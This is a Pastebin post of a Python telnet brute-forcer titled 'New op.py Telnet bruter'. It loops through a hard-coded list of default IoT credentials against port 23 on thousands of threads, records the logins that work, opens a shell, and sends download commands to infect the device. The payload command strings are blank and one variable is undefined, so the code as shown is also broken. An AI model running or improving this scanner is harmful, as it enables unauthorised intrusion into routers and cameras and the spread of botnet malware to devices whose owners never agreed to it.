KekSec

New op.py Telnet bruter

May 23rd, 2022
793
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.35 KB | None | 0 0
  1. #!/usr/bin/python
  2. import threading
  3. import sys, os, re, time, socket, random,  select
  4. if len(sys.argv) < 3:
  5.     print "Usage: cat list.txt | python "+sys.argv[0]+" <threads> <output file>"
  6.     sys.exit()
  7.  
  8. wget = "" #wget command to send
  9. tftp = "" #tftp command to send
  10.  
  11. combo = [
  12.         "root:root",
  13.         "root:",
  14.         "admin:admin",
  15.         "support:support",
  16.         "user:user",
  17.         "admin:",
  18.         "admin:password",
  19.         "root:vizxv",
  20.         "root:admin",
  21.         "root:xc3511",
  22.         "root:888888",
  23.         "root:xmhdipc",
  24.         "root:default",
  25.         "root:juantech",
  26.         "root:123456",
  27.         "root:54321",
  28.         "root:12345",
  29.         "root:pass",
  30.         "ubnt:ubnt",
  31.         "root:klv1234",
  32.         "root:Zte521",
  33.         "root:hi3518",
  34.         "root:jvbzd",
  35.         "root:anko",
  36.         "root:zlxx.",
  37.         "root:7ujMko0vizxv",
  38.         "root:7ujMko0admin",
  39.         "root:system",
  40.         "root:ikwb",
  41.         "root:dreambox",
  42.         "root:user",
  43.         "root:realtek",
  44.         "root:00000000",
  45.         "admin:1111111",
  46.         "admin:1234",
  47.         "admin:12345",
  48.         "admin:54321",
  49.         "admin:123456",
  50.         "admin:7ujMko0admin",
  51.         "admin:1234",
  52.         "admin:pass",
  53.         "admin:meinsm",
  54.         "admin:admin1234",
  55.         "root:1111",
  56.         "admin:smcadmin",
  57.         "admin:1111",
  58.         "root:666666",
  59.         "root:password",
  60.         "root:1234",
  61.         "root:klv123",
  62.         "Administrator:admin",
  63.         "service:service",
  64.         "supervisor:supervisor",
  65.         "guest:guest",
  66.         "guest:12345",
  67.         "guest:12345",
  68.         "admin1:password",
  69.         "administrator:1234",
  70.         "666666:666666",
  71.         "888888:888888",
  72.         "tech:tech",
  73.         "mother:fucker"
  74. ]
  75.  
  76.  
  77. threads = int(sys.argv[1])
  78. output_file = sys.argv[2]
  79.  
  80. def readUntil(tn, string, timeout=8):
  81.     buf = ''
  82.     start_time = time.time()
  83.     while time.time() - start_time < timeout:
  84.         buf += tn.recv(1024)
  85.         time.sleep(0.1)
  86.         if string in buf: return buf
  87.     raise Exception('TIMEOUT!')
  88.  
  89. def recvTimeout(sock, size, timeout=8):
  90.     sock.setblocking(0)
  91.     ready = select.select([sock], [], [], timeout)
  92.     if ready[0]:
  93.         data = sock.recv(size)
  94.         return data
  95.     return ""
  96.  
  97. global active
  98. active = 0
  99. global fh
  100. fh = open(output_file, "a")
  101.  
  102. class router(threading.Thread):
  103.     def __init__ (self, ip):
  104.         threading.Thread.__init__(self)
  105.         self.ip = str(ip).rstrip('\n')
  106.     def run(self):
  107.         global active
  108.         global fh
  109.         active += 1
  110.         username = ""
  111.         password = ""
  112.         cracked = False
  113.         for passwd in combo:
  114.             if cracked:
  115.                 break
  116.             if ":n/a" in passwd:
  117.                 password=""
  118.             else:
  119.                 password=passwd.split(":")[1]
  120.             if "n/a:" in passwd:
  121.                 username=""
  122.             else:
  123.                 username=passwd.split(":")[0]
  124.             try:
  125.                 tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  126.                 tn.settimeout(0.5)
  127.                 tn.connect((self.ip, 23))
  128.             except Exception:
  129.                 try:
  130.                     tn.close()
  131.                 except:
  132.                     pass
  133.                 break
  134.             try:
  135.                 hoho = ''
  136.                 hoho += readUntil(tn, ":")
  137.                 if ":" in hoho:
  138.                     tn.send(username + "\n")
  139.                     time.sleep(0.1)
  140.                 hoho = ''
  141.                 hoho += readUntil(tn, ":")
  142.                 if ":" in hoho:
  143.                     tn.send(password + "\n")
  144.                     time.sleep(0.8)
  145.                 else:
  146.                     pass
  147.                 prompt = ''
  148.                 prompt += tn.recv(8912)
  149.                 if ">" in prompt and "ONT" not in prompt:
  150.                     success = True
  151.                 elif "#" in prompt or "$" in prompt or "root@" in prompt or ">" in prompt:
  152.                     success = True
  153.                 else:
  154.                     tn.close()
  155.                 if success == True:
  156.                     try:
  157.                         print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  158.                         cracked = True
  159.                         fh.write(self.ip + ":23 " + username + ":" + password + "\n")
  160.                         fh.flush()
  161.                         tn.send("sh\r\n")
  162.                         time.sleep(0.1)
  163.                         tn.send("shell\r\n")
  164.                         time.sleep(0.1)
  165.                         tn.send("ls /\r\n")
  166.                         time.sleep(1)
  167.                         timeout = 8
  168.                         buf = ''
  169.                         start_time = time.time()
  170.                         while time.time() - start_time < timeout:
  171.                             buf += recvTimeout(tn, 8912)
  172.                             time.sleep(0.1)
  173.                             if "tmp" in buf and "unrecognized" not in buf:
  174.                                 f = open("infected.txt", "a")
  175.                                 f.write(self.ip + ":23 " + username + ":" + password + "\n")
  176.                                 f.close()
  177.                                 print "\033[32m[\033[31m+\033[32m] \033[33mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  178.                                 tn.send(wget + "\r\n")
  179.                                 time.sleep(10)
  180.                                 tn.send(tftp + "\r\n")
  181.                                 time.sleep(10)
  182.                                 tn.send(ftpget + "\r\n")
  183.                                 time.sleep(10)
  184.                                 tn.close()
  185.                                 break
  186.                         tn.close()
  187.                         break
  188.                     except:
  189.                         tn.close()
  190.                 else:
  191.                     tn.close()
  192.             except Exception:
  193.                 tn.close()
  194.         active -= 1
  195.  
  196. def worker():
  197.     global active
  198.     while 1:
  199.         while active > 2048:
  200.             time.sleep(0.1)
  201.            
  202.         try:
  203.             thread = router(raw_input())
  204.             thread.start()
  205.          
  206.         except:
  207.             pass
  208.  
  209. worker()
Add Comment
Please, Sign In to add comment